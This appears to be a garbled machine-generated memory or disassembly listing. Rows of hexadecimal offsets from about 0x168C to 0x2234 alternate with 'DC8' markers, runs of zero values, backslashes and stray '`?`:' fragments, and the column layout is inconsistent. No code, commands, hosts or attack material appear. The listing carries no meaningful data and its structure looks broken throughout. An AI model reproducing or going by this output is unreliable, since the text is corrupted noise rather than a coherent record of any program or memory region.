0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000168C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000169C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000016AC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000016BC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000016CC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000016DC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000016EC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000016FC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000170C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000171C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000172C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000173C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000174C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000175C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000176C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000177C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000178C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000179C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000017AC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000017BC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000017CC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000017DC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000017EC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000017FC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000180C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000181C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000182C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000183C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000184C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000185C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000186C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000187C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000188C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000189C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000018AC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000018BC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000018CC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000018DC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000018EC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000018FC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000190C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000191C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000192C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000193C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000194C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000195C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000196C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000197C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000198C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000199C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000019AC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000019BC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000019CC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000019DC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000019EC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000019FC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001A0C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001A1C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001A2C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001A3C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001A4C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001A5C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001A6C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001A7C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001A8C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001A9C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001AAC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001ABC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001ACC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001ADC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001AEC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001AFC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001B0C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001B1C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001B2C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001B3C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001B4C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001B5C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001B6C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001B7C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001B8C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001B9C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001BAC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001BBC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001BCC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001BDC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001BEC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001BFC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001C0C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001C1C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001C2C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001C3C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001C4C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001C5C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001C6C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001C7C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001C8C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001C9C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001CAC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001CBC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001CCC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001CDC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001CEC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001CFC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001D0C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001D1C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001D2C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001D3C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001D4C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001D5C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001D6C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001D7C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001D8C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001D9C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001DAC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001DBC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001DCC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001DDC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001DEC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001DFC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001E0C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001E1C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001E2C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001E3C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001E4C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001E5C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001E6C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001E7C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001E8C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001E9C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001EAC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001EBC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001ECC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001EDC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001EEC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001EFC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001F0C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001F1C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001F2C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001F3C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001F4C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001F5C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001F6C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001F7C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001F8C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001F9C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001FAC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00001FBC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00001FCC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001FDC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001FEC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00001FFC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000200C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000201C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000202C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000203C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000204C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000205C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000206C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000207C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000208C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000209C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000020AC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000020BC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 000020CC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 000020DC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000020EC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000020FC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000210C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000211C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000212C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000213C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000214C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000215C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000216C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000217C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000218C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 0000219C 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000021AC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000021BC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000021CC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000021DC 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0 \ 0000 \ `?`: \ 000021E4 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000021F4 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002204 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002214 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00002224 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00002234 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 